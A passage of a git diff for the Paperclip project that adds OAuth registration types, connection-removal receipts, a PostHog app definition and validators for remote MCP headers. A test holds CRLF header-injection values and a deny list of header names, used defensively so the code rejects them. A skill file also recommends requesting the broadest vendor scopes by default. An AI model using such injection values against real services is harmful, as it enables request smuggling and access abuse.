+ return `This server's ${label} address is not secure (https), so Paperclip stopped.`; + case "embedded_credentials": + return `This server's ${label} address hides a different site behind a username, so Paperclip stopped.`; + case "fragment": + return `This server's ${label} address is malformed for sign-in, so Paperclip stopped.`; + } +} + +/** + * The host to show an operator before they are sent to an authorization page. + * `null` when the value is not a usable URL — callers should be refusing to + * navigate at that point anyway. + */ +export function oauthEndpointDisplayHost(value: unknown): string | null { + if (typeof value !== "string" || !value.trim()) return null; + try { + return new URL(value.trim()).host || null; + } catch { + return null; + } +} diff --git a/packages/shared/src/types/app-definition.ts b/packages/shared/src/types/app-definition.ts index 69a7c8606b..b1db31ef1d 100644 --- a/packages/shared/src/types/app-definition.ts +++ b/packages/shared/src/types/app-definition.ts @@ -1,6 +1,6 @@ import type { ToolConnectionOwnership, ToolConnectionTransport } from "./tool-access.js"; export type AppCategory = "ai"|"analytics"|"commerce"|"communication"|"content"|"data"|"developer"|"productivity"|"other"; export type OAuthRedirectConstraints = "https-or-loopback-http"; -export interface FieldDef { key:string; label:string; type:"text"|"password"|"textarea"|"datetime"|"select"|"checkbox"; required?:boolean; placeholder?:string; helperMd?:string; secret?:boolean; prefix?:string; validation?:{pattern?:string;maxLength?:number}; options?:Array<{value:string;label:string}> } -export interface ConnectionMethodDef { key:string; transport:ToolConnectionTransport; auth:"oauth"|"api_key"|"none"; ownershipModes:ToolConnectionOwnership[]; whenToUse:string; defaults?:{serverUrl?:string;discoveryUrl?:string|null;serviceHost?:string;templateKey?:string;authorizationEndpoint?:string;tokenEndpoint?:string;metadataUrl?:string;scopesHint?:string[]}; tenantFields?:FieldDef[]; extensionFields?:FieldDef[]; credentialFields?:FieldDef[]; keyPlacement?:{location:"header"|"query"|"body_json"|"env";name:string;prefix?:string|null}; guidanceMd:string; consoleLinks?:{register?:string;keys?:string;settings?:string;docs?:string}; warnings?:string[]; variants?:Array<{key:string;label:string;whenToUse:string;tenantFields?:FieldDef[]}>; riskTier:"S1"|"S2"|"S3"|"S4"; requiredResourceFilters?:string[] } +export interface FieldDef { key:string; label:string; type:"text"|"password"|"textarea"|"datetime"|"select"|"checkbox"; required?:boolean; advanced?:boolean; placeholder?:string; helperMd?:string; secret?:boolean; prefix?:string; defaultValue?:string|boolean; validation?:{pattern?:string;maxLength?:number}; options?:Array<{value:string;label:string}>; transport?:{location:"query"|"header";name:string;format?:"string"|"csv"|"boolean";omitFalse?:boolean} } +export interface ConnectionMethodDef { key:string; label?:string; transport:ToolConnectionTransport; auth:"oauth"|"api_key"|"none"; ownershipModes:ToolConnectionOwnership[]; whenToUse:string; defaults?:{serverUrl?:string;discoveryUrl?:string|null;serviceHost?:string;templateKey?:string;authorizationEndpoint?:string;tokenEndpoint?:string;metadataUrl?:string;scopesHint?:string[]}; tenantFields?:FieldDef[]; extensionFields?:FieldDef[]; configRequirements?:{atLeastOneOf?:string[]}; credentialFields?:FieldDef[]; keyPlacement?:{location:"header"|"query"|"body_json"|"env";name:string;prefix?:string|null}; guidanceMd:string; consoleLinks?:{register?:string;keys?:string;settings?:string;docs?:string}; warnings?:string[]; variants?:Array<{key:string;label:string;whenToUse:string;tenantFields?:FieldDef[]}>; riskTier:"S1"|"S2"|"S3"|"S4"; requiredResourceFilters?:string[] } export interface AppDefinition { schemaVersion:1; slug:string; name:string; description:string; categories:AppCategory[]; featured?:boolean; branding:{logoUrl:string;darkLogoUrl?:string;backgroundColor?:string;accentColor?:string}; urlPatterns:string[]; docsUrl?:string; redirectConstraints?:OAuthRedirectConstraints; methods:ConnectionMethodDef[]; suggestable?:boolean; availability?:{available:boolean;reason?:string;robotEmail?:string}; ownershipAvailability?:Partial> } diff --git a/packages/shared/src/types/index.ts b/packages/shared/src/types/index.ts index 6514fdacd0..508370c990 100644 --- a/packages/shared/src/types/index.ts +++ b/packages/shared/src/types/index.ts @@ -450,8 +450,10 @@ export type { ToolAccessDecisionInput, ToolAccessReasonCode, ToolAccessSelector, + ConnectToolAppAuthChallenge, ConnectToolAppResult, FinishToolAppResult, + ToolOAuthClientRegistrationSource, ToolOAuthStartResult, ToolTrustRuleArgumentFilters, ToolTrustRuleBatchApprovalConfig, @@ -477,6 +479,8 @@ export type { ToolConnectionInstall, ToolConnectionInstallSnapshot, ToolConnectionInstallTargetType, + ToolConnectionRemovalResult, + ToolConnectionRemovalSummary, ConnectionTokenAttribution, ConnectionRecoverableErrorCode, ConnectionRecoverableErrorPayload, diff --git a/packages/shared/src/types/tool-access.ts b/packages/shared/src/types/tool-access.ts index bd85144268..6bbcffcc69 100644 --- a/packages/shared/src/types/tool-access.ts +++ b/packages/shared/src/types/tool-access.ts @@ -190,6 +190,51 @@ export interface ToolConnectionInstallSnapshot { installs: ToolConnectionInstall[]; } +/** + * What a connection removal actually tore down (PAP-17119). + * + * Removing an app is a revocation boundary, not a cosmetic archive, so the + * receipt is counts and outcomes only — never a secret name, key, or value, + * because this summary is echoed into the activity log the whole company reads. + */ +export interface ToolConnectionRemovalSummary { + /** Connection-owned secrets revoked at the provider and deleted locally. */ + secretsRevoked: number; + /** Secrets left in place because another consumer still binds them. */ + secretsRetainedShared: number; + /** Credential refs cleared off the connection row. */ + credentialRefsCleared: number; + /** `company_secret_bindings` rows removed for this connection. */ + secretBindingsRemoved: number; + grantsRevoked: number; + installsRemoved: number; + /** + * `deleted` when the app-managed `app:` profile could go away, + * `archived` when a gateway still references it (the row survives with no + * entries and a non-active status), `absent` when there was never one. + */ + appProfile: "deleted" | "archived" | "absent"; + appProfileEntriesRemoved: number; + appProfileBindingsRemoved: number; + catalogEntriesMarkedRemoved: number; + oauthStatesDiscarded: number; + /** Token hashes wiped from the retained connection-token issuance ledger. */ + tokenIssuanceHashesCleared: number; + /** + * Live local runtimes shut down. A running child process holds the injected + * credential in memory, so it is an access path of its own. + */ + runtimeSlotsStopped: number; + gatewayTokensRevoked: number; + gatewaySessionsRevoked: number; + applicationArchived: boolean; +} + +export interface ToolConnectionRemovalResult { + connection: ToolConnection; + removal: ToolConnectionRemovalSummary; +} + export type ConnectionTokenScope = string | string[]; export type ConnectionTokenSubject = { type: "app" } | { type: "user"; userId: string }; @@ -911,6 +956,29 @@ export interface ToolAppConnectionActionSummary { status: ToolCatalogEntryStatus; } +/** + * How Paperclip obtained the OAuth client it will use for a connection + * (PAP-17087). Ordered by preference: a client the deployment preconfigured for + * that issuer, then a Client ID Metadata Document, then dynamic registration, + * then client credentials the operator preregistered and pasted in. + */ +export type ToolOAuthClientRegistrationSource = "preconfigured" | "cimd" | "dcr" | "manual"; + +/** + * What an unknown remote MCP endpoint told Paperclip it needs, so the wizard can + * branch without re-probing. `manualClientRequired` means discovery succeeded but + * the authorization server supports neither CIMD nor DCR, so the operator has to + * supply a preregistered client under Advanced authentication. + */ +export interface ConnectToolAppAuthChallenge { + kind: "oauth"; + startUrl: string | null; + issuer?: string | null; + resource?: string | null; + registrationSource?: ToolOAuthClientRegistrationSource | null; + manualClientRequired?: boolean; +} + export interface ConnectToolAppResult { connectionId: string; application: ToolApplication; @@ -921,10 +989,7 @@ export interface ConnectToolAppResult { canMakeChanges: ToolAppConnectionActionSummary[]; }; suggestedDefaults: Record; - auth?: { - kind: "oauth"; - startUrl: string | null; - } | null; + auth?: ConnectToolAppAuthChallenge | null; } export interface ToolOAuthStartResult { @@ -932,6 +997,11 @@ export interface ToolOAuthStartResult { provider: string; authorizationUrl: string; expiresAt: string; + /** Canonical authorization-server issuer this run is bound to, when discovered. */ + issuer?: string | null; + /** RFC 8707 resource indicator sent with the request. */ + resource?: string | null; + registrationSource?: ToolOAuthClientRegistrationSource | null; } export interface FinishToolAppResult { @@ -1341,6 +1411,8 @@ export interface ToolConnectionTestAgent { role: string; title: string | null; status: string; + /** Zero-based depth in the company reporting tree; roots are highest-ranked. */ + orgDepth: number; effectiveAccess: ToolConnectionAccessSummary; } diff --git a/packages/shared/src/validators/app-definition.ts b/packages/shared/src/validators/app-definition.ts index 11ca80f0f0..7a005f48e8 100644 --- a/packages/shared/src/validators/app-definition.ts +++ b/packages/shared/src/validators/app-definition.ts @@ -1,6 +1,6 @@ import { z } from "zod"; import { toolConnectionOwnershipSchema, toolConnectionTransportSchema } from "./tool-access.js"; -const field=z.object({key:z.string().min(1),label:z.string().min(1),type:z.enum(["text","password","textarea","datetime","select","checkbox"]),required:z.boolean().optional(),placeholder:z.string().optional(),helperMd:z.string().optional(),secret:z.boolean().optional(),prefix:z.string().optional()}).superRefine((v,c)=>{if(v.required&&v.type!=="checkbox"&&!v.placeholder)c.addIssue({code:"custom",message:"Required fields need placeholders",path:["placeholder"]})}); -export const connectionMethodDefSchema=z.object({key:z.string().min(1),transport:toolConnectionTransportSchema,auth:z.enum(["oauth","api_key","none"]),ownershipModes:z.array(toolConnectionOwnershipSchema).min(1),whenToUse:z.string().min(1),defaults:z.object({serverUrl:z.string().url().optional(),discoveryUrl:z.string().url().nullable().optional(),serviceHost:z.string().optional(),templateKey:z.string().optional(),authorizationEndpoint:z.string().url().optional(),tokenEndpoint:z.string().url().optional(),metadataUrl:z.string().url().optional(),scopesHint:z.array(z.string()).optional()}).optional(),tenantFields:z.array(field).optional(),extensionFields:z.array(field).optional(),credentialFields:z.array(field).optional(),keyPlacement:z.object({location:z.enum(["header","query","body_json","env"]),name:z.string().min(1),prefix:z.string().nullable().optional()}).optional(),guidanceMd:z.string().min(1),consoleLinks:z.object({register:z.string().url().optional(),keys:z.string().url().optional(),settings:z.string().url().optional(),docs:z.string().url().optional()}).optional(),warnings:z.array(z.string()).optional(),variants:z.array(z.object({key:z.string(),label:z.string(),whenToUse:z.string(),tenantFields:z.array(field).optional()})).optional(),riskTier:z.enum(["S1","S2","S3","S4"]),requiredResourceFilters:z.array(z.string()).optional()}).superRefine((v,c)=>{if(v.auth==="api_key"&&!v.keyPlacement)c.addIssue({code:"custom",message:"API-key methods require keyPlacement",path:["keyPlacement"]})}); +const field=z.object({key:z.string().min(1),label:z.string().min(1),type:z.enum(["text","password","textarea","datetime","select","checkbox"]),required:z.boolean().optional(),advanced:z.boolean().optional(),placeholder:z.string().optional(),helperMd:z.string().optional(),secret:z.boolean().optional(),prefix:z.string().optional(),defaultValue:z.union([z.string(),z.boolean()]).optional(),validation:z.object({pattern:z.string().optional(),maxLength:z.number().int().positive().optional()}).optional(),options:z.array(z.object({value:z.string(),label:z.string()})).optional(),transport:z.object({location:z.enum(["query","header"]),name:z.string().min(1),format:z.enum(["string","csv","boolean"]).optional(),omitFalse:z.boolean().optional()}).optional()}).superRefine((v,c)=>{if(v.required&&v.type!=="checkbox"&&!v.placeholder)c.addIssue({code:"custom",message:"Required fields need placeholders",path:["placeholder"]});if(v.type==="select"&&(!v.options||v.options.length===0))c.addIssue({code:"custom",message:"Select fields need options",path:["options"]})}); +export const connectionMethodDefSchema=z.object({key:z.string().min(1),label:z.string().min(1).optional(),transport:toolConnectionTransportSchema,auth:z.enum(["oauth","api_key","none"]),ownershipModes:z.array(toolConnectionOwnershipSchema).min(1),whenToUse:z.string().min(1),defaults:z.object({serverUrl:z.string().url().optional(),discoveryUrl:z.string().url().nullable().optional(),serviceHost:z.string().optional(),templateKey:z.string().optional(),authorizationEndpoint:z.string().url().optional(),tokenEndpoint:z.string().url().optional(),metadataUrl:z.string().url().optional(),scopesHint:z.array(z.string()).optional()}).optional(),tenantFields:z.array(field).optional(),extensionFields:z.array(field).optional(),configRequirements:z.object({atLeastOneOf:z.array(z.string().min(1)).min(1).optional()}).optional(),credentialFields:z.array(field).optional(),keyPlacement:z.object({location:z.enum(["header","query","body_json","env"]),name:z.string().min(1),prefix:z.string().nullable().optional()}).optional(),guidanceMd:z.string().min(1),consoleLinks:z.object({register:z.string().url().optional(),keys:z.string().url().optional(),settings:z.string().url().optional(),docs:z.string().url().optional()}).optional(),warnings:z.array(z.string()).optional(),variants:z.array(z.object({key:z.string(),label:z.string(),whenToUse:z.string(),tenantFields:z.array(field).optional()})).optional(),riskTier:z.enum(["S1","S2","S3","S4"]),requiredResourceFilters:z.array(z.string()).optional()}).superRefine((v,c)=>{if(v.auth==="api_key"&&!v.keyPlacement)c.addIssue({code:"custom",message:"API-key methods require keyPlacement",path:["keyPlacement"]});const keys=new Set([...(v.tenantFields??[]),...(v.extensionFields??[])].map((entry)=>entry.key));for(const key of v.configRequirements?.atLeastOneOf??[])if(!keys.has(key))c.addIssue({code:"custom",message:"Config requirement references an unknown field",path:["configRequirements","atLeastOneOf"]})}); export const appDefinitionSchema=z.object({schemaVersion:z.literal(1),slug:z.string().regex(/^[a-z0-9]+(?:-[a-z0-9]+)*$/),name:z.string().min(1),description:z.string().min(1),categories:z.array(z.enum(["ai","analytics","commerce","communication","content","data","developer","productivity","other"])).min(1),featured:z.boolean().optional(),branding:z.object({logoUrl:z.string().url(),darkLogoUrl:z.string().url().optional(),backgroundColor:z.string().optional(),accentColor:z.string().optional()}),urlPatterns:z.array(z.string()),docsUrl:z.string().url().optional(),redirectConstraints:z.enum(["https-or-loopback-http"]).optional(),methods:z.array(connectionMethodDefSchema).min(1),suggestable:z.boolean().optional(),availability:z.object({available:z.boolean(),reason:z.string().optional(),robotEmail:z.string().optional()}).optional(),ownershipAvailability:z.object({platform_shared:z.boolean().optional(),platform_provisioned:z.boolean().optional(),customer:z.boolean().optional(),dcr:z.boolean().optional()}).optional()}); export const appDefinitionsSchema=z.array(appDefinitionSchema).superRefine((v,c)=>{const s=new Set();v.forEach((a,i)=>{if(s.has(a.slug))c.addIssue({code:"custom",message:"Duplicate slug",path:[i,"slug"]});s.add(a.slug)})}); diff --git a/packages/shared/src/validators/index.ts b/packages/shared/src/validators/index.ts index f5637f0cbc..dceb763f3d 100644 --- a/packages/shared/src/validators/index.ts +++ b/packages/shared/src/validators/index.ts @@ -875,6 +875,11 @@ export { mcpConnectionCredentialRefSchema, createToolApplicationSchema, connectToolAppSchema, + GENERIC_MCP_AUTH_MODES, + genericMcpAuthModeSchema, + genericMcpOAuthClientSchema, + type GenericMcpAuthMode, + type GenericMcpOAuthClient, reconnectToolAppSchema, finishToolAppSchema, updateToolApplicationSchema, diff --git a/packages/shared/src/validators/tool-access.test.ts b/packages/shared/src/validators/tool-access.test.ts index 3ed4ed968a..f8e1c5257a 100644 --- a/packages/shared/src/validators/tool-access.test.ts +++ b/packages/shared/src/validators/tool-access.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it } from "vitest"; import { connectionTokenRequestSchema, + connectToolAppSchema, createToolConnectionSchema, startConnectionAuthorizationSchema, toolCredentialSecretRefSchema, @@ -48,6 +49,80 @@ describe("tool access validators", () => { } }); + it("keeps app method configuration separate from secrets", () => { + expect(connectToolAppSchema.safeParse({ + galleryKey: "posthog", + connectionMethodKey: "mcp-api-key", + configValues: { projectId: "12345", readOnly: true, features: "insights" }, + }).success).toBe(true); + expect(connectToolAppSchema.safeParse({ + galleryKey: "posthog", + configValues: { projectId: "12345", apiKey: "phx_raw" }, + }).success).toBe(false); + }); + + // PAP-17087: the guided generic flow and paste-config both reach the connect + // endpoint, so unsafe header names/values are rejected once at this boundary. + it("accepts generic advanced-authentication input for a pasted URL", () => { + const parsed = connectToolAppSchema.safeParse({ + link: "https://mcp.example.test/mcp", + authMode: "custom_headers", + credentialValues: { + "headers.X-Api-Key": "phx_abc123", + "headers.X-PostHog-Project-Id": "12345", + }, + }); + expect(parsed.success).toBe(true); + + const manualClient = connectToolAppSchema.safeParse({ + link: "https://mcp.example.test/mcp", + authMode: "oauth", + oauthClient: { clientId: "client-abc", clientSecret: "shhh" }, + }); + expect(manualClient.success).toBe(true); + }); + + it("rejects header credentials Paperclip refuses to send", () => { + for (const configPath of ["headers.Host", "headers.Cookie", "headers.Transfer-Encoding", "headers.Sec-Fetch-Mode"]) { + const parsed = connectToolAppSchema.safeParse({ + link: "https://mcp.example.test/mcp", + credentialValues: { [configPath]: "value" }, + }); + expect(parsed.success, configPath).toBe(false); + } + }); + + it("rejects header names and values that could split the outbound request", () => { + const badName = connectToolAppSchema.safeParse({ + link: "https://mcp.example.test/mcp", + credentialValues: { "headers.X-Bad\r\nX-Injected": "value" }, + }); + expect(badName.success).toBe(false); + + const badValue = connectToolAppSchema.safeParse({ + link: "https://mcp.example.test/mcp", + credentialValues: { "headers.X-Api-Key": "abc\r\nX-Injected: 1" }, + }); + expect(badValue.success).toBe(false); + if (!badValue.success) { + // The message names the header but must never echo the rejected value. + const message = badValue.error.issues[0]?.message ?? ""; + expect(message).toContain("X-Api-Key"); + expect(message).not.toContain("X-Injected"); + } + }); + + it("keeps generic advanced authentication off the curated gallery path", () => { + expect(connectToolAppSchema.safeParse({ + galleryKey: "posthog", + authMode: "bearer", + }).success).toBe(false); + expect(connectToolAppSchema.safeParse({ + galleryKey: "posthog", + oauthClient: { clientId: "client-abc" }, + }).success).toBe(false); + }); + it("accepts secret references for connection credentials", () => { const parsed = createToolConnectionSchema.safeParse({ applicationId: "11111111-1111-4111-8111-111111111111", diff --git a/packages/shared/src/validators/tool-access.ts b/packages/shared/src/validators/tool-access.ts index 0dd7e0ca32..64968c574c 100644 --- a/packages/shared/src/validators/tool-access.ts +++ b/packages/shared/src/validators/tool-access.ts @@ -30,6 +30,12 @@ import { TOOL_RUNTIME_KINDS, TOOL_RUNTIME_SLOT_STATUSES, } from "../constants.js"; +import { + checkMcpRemoteHeaderName, + checkMcpRemoteHeaderValue, + mcpRemoteHeaderNameFromConfigPath, + mcpRemoteHeaderRejectionMessage, +} from "../mcp-remote-headers.js"; import { jsonSchemaSchema } from "./plugin.js"; import { objectWithoutDefaults } from "./partial.js"; @@ -259,13 +265,100 @@ export const disableToolStdioCommandTemplateSchema = z.object({ export type DisableToolStdioCommandTemplate = z.infer; +/** + * How an operator says a generic remote MCP endpoint authenticates (PAP-17087). + * + * `auto` is the default and the only value the simple path sends: Paperclip + * probes the endpoint and branches on what it finds. The rest are the explicit + * choices behind "Advanced authentication", where the operator already knows. + */ +export const GENERIC_MCP_AUTH_MODES = ["auto", "none", "bearer", "custom_headers", "oauth"] as const; + +export const genericMcpAuthModeSchema = z.enum(GENERIC_MCP_AUTH_MODES); + +export type GenericMcpAuthMode = z.infer; + +/** + * A preregistered OAuth client an operator pasted in because the authorization + * server supports neither CIMD nor dynamic registration. The secret is write-only: + * it becomes a Paperclip secret ref and is never read back. + */ +export const genericMcpOAuthClientSchema = z.object({ + clientId: z.string().trim().min(1).max(4096), + clientSecret: z.string().min(1).max(16384).optional(), +}).strict(); + +export type GenericMcpOAuthClient = z.infer; + +/** + * Reject `headers.*` credential paths whose header name Paperclip refuses to + * send, and any value that could split the outbound request. This runs at the + * API boundary so both the guided wizard and normalized paste-config go through + * exactly one gate; the service re-checks when it projects the headers. + */ +function rejectUnsafeHeaderCredentials( + credentialValues: Record, + ctx: z.RefinementCtx, + path: (string | number)[], +) { + for (const [configPath, value] of Object.entries(credentialValues)) { + const headerName = mcpRemoteHeaderNameFromConfigPath(configPath); + if (configPath.startsWith("headers.") && !headerName) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: [...path, configPath], + message: "Header names cannot be blank.", + }); + continue; + } + if (!headerName) continue; + const nameCheck = checkMcpRemoteHeaderName(headerName); + if (!nameCheck.ok) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: [...path, configPath], + message: mcpRemoteHeaderRejectionMessage(headerName, nameCheck.reason!), + }); + continue; + } + const valueCheck = checkMcpRemoteHeaderValue(value); + if (!valueCheck.ok) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: [...path, configPath], + message: mcpRemoteHeaderRejectionMessage(headerName, valueCheck.reason!), + }); + } + } +} + export const connectToolAppSchema = z.object({ galleryKey: z.string().trim().min(1).max(120).optional(), + connectionMethodKey: z.string().trim().min(1).max(120).optional(), link: z.string().trim().url().max(2000).optional(), name: z.string().trim().min(1).max(160).optional(), credentialValues: z.record(z.string().trim().min(1).max(200), z.string().min(1)).optional(), configValues: z.record(z.string().trim().min(1).max(200), z.unknown()).optional(), applicationId: z.string().guid().optional(), + authMode: genericMcpAuthModeSchema.optional(), + oauthClient: genericMcpOAuthClientSchema.optional(), +}).superRefine((value, ctx) => { + if (value.configValues) rejectSensitiveConfigKeys(value.configValues, ctx, ["configValues"]); + if (value.credentialValues) rejectUnsafeHeaderCredentials(value.credentialValues, ctx, ["credentialValues"]); + if (value.authMode && value.galleryKey) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: ["authMode"], + message: "Authentication mode selection applies to a pasted URL, not a gallery app", + }); + } + if (value.oauthClient && value.galleryKey) { + ctx.addIssue({ + code: z.ZodIssueCode.custom, + path: ["oauthClient"], + message: "Preregistered OAuth client credentials apply to a pasted URL, not a gallery app", + }); + } }).refine( (value) => Boolean(value.galleryKey) !== Boolean(value.link), { message: "Provide exactly one of galleryKey or link" }, diff --git a/packages/skills-catalog/catalog/optional/software-development/prepare-mcp-integration/SKILL.md b/packages/skills-catalog/catalog/optional/software-development/prepare-mcp-integration/SKILL.md index a7ba10b3e0..231ef11249 100644 --- a/packages/skills-catalog/catalog/optional/software-development/prepare-mcp-integration/SKILL.md +++ b/packages/skills-catalog/catalog/optional/software-development/prepare-mcp-integration/SKILL.md @@ -49,6 +49,26 @@ App only after a human accepts the exact research revision and connection set. briefs, catalog files, issue text, plans, fixtures, screenshots, logs, branch names, commits, or PRs. +## Default Connection Experience + +- Request the broadest vendor permissions and scopes the connection can + support by default. Operators should not have to predict every future tool + they may need during setup. Enforce safe use after connection through + Paperclip's action catalog, resource boundaries, ask-first policies, + quarantine, and audit controls. +- Keep the default wizard limited to the minimum information needed to create + a working connection: connection identity, authentication, and any + unavoidable tenant or resource boundary. Put optional scope reduction, + feature groups, individual tool filters, response modes, transport tuning, + and other expert controls behind one collapsed **Advanced** disclosure. +- Give advanced controls working broad defaults so an operator can finish + setup without opening them. When a provider truly requires an explicit + advanced choice, document the exception and explain it in plain language + instead of exposing protocol details by default. +- Treat vendor permission breadth and Paperclip execution governance as + separate layers. Do not reduce requested vendor permissions merely to stand + in for missing action review, approval, quarantine, or audit policy. + ## Preflight 1. Load the current Paperclip skill for checkout, comments, interactions, diff --git a/packages/skills-catalog/generated/catalog.json b/packages/skills-catalog/generated/catalog.json index d126606ea1..3913615c54 100644 --- a/packages/skills-catalog/generated/catalog.json +++ b/packages/skills-catalog/generated/catalog.json @@ -2,7 +2,7 @@ "schemaVersion": 1, "packageName": "@paperclipai/skills-catalog", "packageVersion": "0.3.1", - "generatedAt": "2026-08-07T20:30:29.973Z", + "generatedAt": "2026-08-11T15:05:34.526Z", "skills": [ { "id": "paperclipai:bundled:docs:doc-maintenance", @@ -1149,8 +1149,8 @@ { "path": "SKILL.md", "kind": "skill", - "sizeBytes": 11183, - "sha256": "452386be3aa5e2988dc9d72f288f469975da766626a25c48017877963c533781" + "sizeBytes": 12409, + "sha256": "5278d288a0cbfe10fdda4ef3d99cf61e6ed068f4b6c1282406b0e001c9f45253" }, { "path": "examples/notion-mcp-research-gate.md", @@ -1159,7 +1159,7 @@ "sha256": "944b13ac67c06c65643eb236e856f1479106749861535648d29334f84cf1b50b" } ], - "contentHash": "sha256:4dbb76624e0fd5502fa10a9168f77214c5020899838af887e77a1617a0a00c31" + "contentHash": "sha256:84f2a28d7d004393719684f2b435e5ee01ddc58591e0dfeb73d72c7605db7f49" } ] } diff --git a/scripts/ingest-app-definitions.mjs b/scripts/ingest-app-definitions.mjs index 05fc773ff0..8087143017 100644 --- a/scripts/ingest-app-definitions.mjs +++ b/scripts/ingest-app-definitions.mjs @@ -3,11 +3,20 @@ const root=process.cwd(); const corpus=process.env.PAPERCLIP_CONTENT_TEMPLATES?? const out=path.join(root,"packages/shared/src/app-definitions"); const favicon=d=>`https://www.google.com/s2/favicons?domain=${d}&sz=128`; const field=(key,label,placeholder)=>({key,label,type:"password",required:true,placeholder,secret:true}); const method=(key,transport,auth,defaults,riskTier,guidanceMd,extra={})=>({key,transport,auth,ownershipModes:auth==="oauth"?["customer","dcr"]:["customer"],whenToUse:transport==="mcp_remote"?"Use the provider-hosted connection for the quickest setup.":"Use credentials from your provider account.",defaults,guidanceMd,riskTier,...extra}); +const posthogConfigFields=()=>[ + {key:"projectId",label:"Project ID",type:"text",required:true,placeholder:"12345",helperMd:"Find the numeric project ID in PostHog project settings.",validation:{pattern:"^[0-9]+$",maxLength:32},transport:{location:"header",name:"x-posthog-project-id"}}, + {key:"readOnly",label:"Read-only mode",type:"checkbox",defaultValue:false,helperMd:"Turn on to hide tools that can change PostHog data.",transport:{location:"query",name:"readonly",format:"boolean",omitFalse:true}}, + {key:"features",label:"Feature groups",type:"textarea",advanced:true,placeholder:"Optional comma-separated feature groups",helperMd:"Leave blank to expose every feature group, or enter a comma-separated list to narrow access.",validation:{maxLength:500},transport:{location:"query",name:"features",format:"csv"}}, + {key:"tools",label:"Individual tools",type:"textarea",advanced:true,placeholder:"Optional comma-separated tool names",helperMd:"Leave blank to expose all tools. Exact names here are combined with any feature groups.",validation:{maxLength:2000},transport:{location:"query",name:"tools",format:"csv"}}, + {key:"mode",label:"Tool response mode",type:"select",advanced:true,required:true,placeholder:"Individual tools",defaultValue:"tools",options:[{value:"tools",label:"Individual tools"}],helperMd:"Paperclip uses individual tools so every action can be governed. CLI mode remains unavailable until nested execution is governed.",transport:{location:"query",name:"mode"}}, +]; +const posthogMethod=(key,auth,extra={})=>method(key,"mcp_remote",auth,{serverUrl:"https://mcp.posthog.com/mcp"},"S3","Pin the connection to one PostHog project and expose the full tool catalog by default. Narrow feature groups or tools only when needed.",{tenantFields:posthogConfigFields(),requiredResourceFilters:["project"],...extra}); const apps=[ ["zapier","Zapier","Reach thousands of apps through your Zapier account.","productivity","zapier.com",["https://mcp.zapier.com/*"],method("mcp-key","mcp_remote","api_key",{serverUrl:"https://mcp.zapier.com/api/mcp"},"S3","Create a Zapier MCP connection, then paste its token here.",{credentialFields:[field("authorization","Zapier MCP token","Paste your Zapier token")],keyPlacement:{location:"header",name:"Authorization",prefix:"Bearer "}})], ["github","GitHub","Read code and pull requests, and coordinate repository work.","developer","github.com",["https://api.githubcopilot.com/mcp/*"],method("mcp-key","mcp_remote","api_key",{serverUrl:"https://api.githubcopilot.com/mcp/"},"S3","Create a fine-grained token limited to the repositories agents should use.",{credentialFields:[field("authorization","GitHub token","github_pat_...")],keyPlacement:{location:"header",name:"Authorization",prefix:"Bearer "},requiredResourceFilters:["organization","repository"]})], ["slack","Slack","Search channels and coordinate team communication.","communication","slack.com",["https://mcp.slack.com/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.slack.com/mcp",authorizationEndpoint:"https://slack.com/oauth/v2/authorize",tokenEndpoint:"https://slack.com/api/oauth.v2.access",scopesHint:["channels:read","chat:write","search:read"]},"S3","Connect a Slack workspace and limit access to the channels agents need.",{requiredResourceFilters:["workspace","channel"]})], ["notion","Notion","Read and update pages in your Notion workspace.","content","notion.so",["https://mcp.notion.com/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.notion.com/mcp"},"S3","Connect Notion for workspace content. Share only the pages and databases agents should use.",{requiredResourceFilters:["workspace","page","database"]}),{redirectConstraints:"https-or-loopback-http"}], +["posthog","PostHog","Analyze product usage, errors, feature flags, and experiments in a pinned PostHog project.","analytics","posthog.com",["https://mcp.posthog.com/*"],[posthogMethod("mcp-oauth","oauth",{label:"Sign in with PostHog",ownershipModes:["customer","dcr"],whenToUse:"Sign in with PostHog in the browser. Recommended for hosted PostHog accounts.",consoleLinks:{docs:"https://posthog.com/docs/model-context-protocol"}}),posthogMethod("mcp-api-key","api_key",{label:"Use a personal API key",whenToUse:"Use a PostHog personal API key when browser sign-in is not suitable.",credentialFields:[field("authorization","PostHog personal API key","phx_...")],keyPlacement:{location:"header",name:"Authorization",prefix:"Bearer "},consoleLinks:{keys:"https://posthog.com/docs/model-context-protocol/faq",docs:"https://posthog.com/docs/model-context-protocol/faq"}})],{featured:true}], ["linear","Linear","Create, update, and read Linear issues.","productivity","linear.app",["https://mcp.linear.app/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.linear.app/mcp",authorizationEndpoint:"https://linear.app/oauth/authorize",tokenEndpoint:"https://api.linear.app/oauth/token",scopesHint:["read","write"]},"S2","Register a Linear OAuth app and add Paperclip's redirect URI before connecting.",{requiredResourceFilters:["workspace","team","project"]})], ["google-sheets","Google Sheets","Read and update selected spreadsheets.","data","sheets.google.com",["https://docs.google.com/spreadsheets/*","https://sheets.google.com/*"],method("local","local_stdio","none",{templateKey:"paperclip.google-sheets"},"S3","Share each spreadsheet with the Paperclip robot email, then paste the sheet links.",{requiredResourceFilters:["spreadsheet"]})], ["context7","Context7","Look up current documentation for software libraries.","developer","context7.com",["https://mcp.context7.com/*"],method("mcp","mcp_remote","none",{serverUrl:"https://mcp.context7.com/mcp"},"S1","Connect Context7 to give agents current library documentation.")], @@ -16,7 +25,7 @@ const apps=[ ["sentry","Sentry","Investigate errors, releases, and production issues.","developer","sentry.io",["https://mcp.sentry.dev/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.sentry.dev/mcp",discoveryUrl:"https://sentry.io/.well-known/oauth-authorization-server"},"S2","Connect the Sentry organization and projects agents need for incident work.",{requiredResourceFilters:["organization","project","environment"]})], ["vercel","Vercel","Inspect projects, deployments, and runtime logs.","developer","vercel.com",["https://mcp.vercel.com/*"],method("mcp-oauth","mcp_remote","oauth",{serverUrl:"https://mcp.vercel.com/mcp"},"S3","Connect the Vercel team and projects agents should operate.",{requiredResourceFilters:["team","project","environment"]})], ["anthropic","Anthropic","Use Anthropic APIs with a restricted 